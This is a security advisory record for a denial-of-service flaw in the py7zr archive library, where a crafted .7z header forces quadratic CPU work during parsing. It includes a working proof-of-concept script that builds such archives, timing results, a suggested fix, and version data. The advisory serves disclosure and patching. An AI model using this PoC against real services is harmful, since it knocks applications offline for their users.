id: PYSEC-2026-2973
published: "2026-07-13T15:46:22.282856Z"
modified: "2026-07-13T16:05:50.327067Z"
aliases:
- CVE-2026-55206
- GHSA-h4gh-22qq-72r7
summary: "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
details: "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF\n      start_header = (struct.pack('<Q', 0)\n                      + struct.pack('<Q', len(header_data))\n                      + struct.pack('<I', next_crc))\n      out.write(struct.pack('<I', binascii.crc32(start_header) &\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction."
affected:
- package:
    name: py7zr
    ecosystem: PyPI
    purl: pkg:pypi/py7zr
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 1.1.3
  versions:
  - 0.0.3
  - 0.0.4
  - 0.0.5
  - 0.0.6
  - 0.0.7
  - 0.0.8
  - 0.1.0
  - 0.1.1
  - 0.1.2
  - 0.1.3
  - 0.1.4
  - 0.1.5
  - 0.1.6
  - 0.10.0
  - 0.10.0a1
  - 0.10.0a2
  - 0.10.0a3
  - 0.10.0a4
  - 0.10.0a5
  - 0.10.0a6
  - 0.10.0b1
  - 0.10.0b3
  - 0.10.1
  - 0.10.2
  - 0.11.0
  - 0.11.0a1
  - 0.11.0b1
  - 0.11.0b2
  - 0.11.0b3
  - 0.11.1
  - 0.11.2
  - 0.11.3
  - 0.12.0
  - 0.13.0
  - 0.13.1
  - 0.14.0
  - 0.14.1
  - 0.15.0
  - 0.15.1
  - 0.15.2
  - 0.16.0
  - 0.16.1
  - 0.16.2
  - 0.16.3
  - 0.16.4
  - 0.17.0
  - 0.17.1
  - 0.17.2
  - 0.17.3
  - 0.17.4
  - 0.18.0
  - 0.18.1
  - 0.18.10
  - 0.18.11
  - 0.18.12
  - 0.18.3
  - 0.18.4
  - 0.18.5
  - 0.18.6
  - 0.18.7
  - 0.18.9
  - 0.19.0
  - 0.19.1
  - 0.19.2
  - 0.2.0
  - 0.20.0
  - 0.20.1
  - 0.20.2
  - 0.20.4
  - 0.20.5
  - 0.20.6
  - 0.20.7
  - 0.20.8
  - 0.21.0
  - 0.21.1
  - 0.22.0
  - "0.3"
  - 0.3.1
  - 0.3.2
  - 0.3.3
  - 0.3.4
  - 0.3.5
  - "0.4"
  - 0.4.1
  - 0.4.3
  - 0.4.4
  - 0.4a1
  - 0.4a2
  - 0.4b1
  - "0.5"
  - 0.5.2
  - 0.5.3
  - 0.5.4
  - 0.5.5
  - 0.5a3
  - 0.5a4
  - 0.5b1
  - 0.5b2
  - 0.5b3
  - 0.5b4
  - 0.5b5
  - 0.5b6
  - 0.5rc2
  - 0.5rc3
  - "0.6"
  - 0.6a1
  - 0.6a2
  - 0.6b1
  - 0.6b2
  - 0.6b3
  - 0.6b4
  - 0.6b5
  - 0.6b6
  - 0.6b7
  - 0.6b8
  - 0.6rc0
  - 0.7.0
  - 0.7.0b1
  - 0.7.0b2
  - 0.7.0b3
  - 0.7.1
  - 0.7.2
  - 0.7.3
  - 0.7.4
  - 0.8.0
  - 0.8.0a1
  - 0.8.0a2
  - 0.8.0a3
  - 0.8.0b1
  - 0.8.0b2
  - 0.8.0b3
  - 0.8.0b4
  - 0.8.0b5
  - 0.8.0b6
  - 0.8.0b7
  - 0.8.0b8
  - 0.8.1
  - 0.8.2
  - 0.8.3
  - 0.8.4
  - 0.8.5
  - 0.9.0
  - 0.9.0a1
  - 0.9.0a2
  - 0.9.0b1
  - 0.9.0b2
  - 0.9.0b3
  - 0.9.1
  - 0.9.10
  - 0.9.2
  - 0.9.3
  - 0.9.4
  - 0.9.5
  - 0.9.7
  - 0.9.8
  - 0.9.9
  - 1.0.0
  - 1.0.0rc1
  - 1.0.0rc2
  - 1.0.0rc3
  - 1.1.0
  - 1.1.0rc2
  - 1.1.0rc4
  - 1.1.2
references:
- type: WEB
  url: https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7
- type: PACKAGE
  url: https://github.com/miurahr/py7zr
- type: WEB
  url: https://github.com/miurahr/py7zr/releases/tag/v1.1.3
- type: PACKAGE
  url: https://pypi.org/project/py7zr
- type: ADVISORY
  url: https://github.com/advisories/GHSA-h4gh-22qq-72r7
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-55206
severity:
- type: CVSS_V4
  score: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N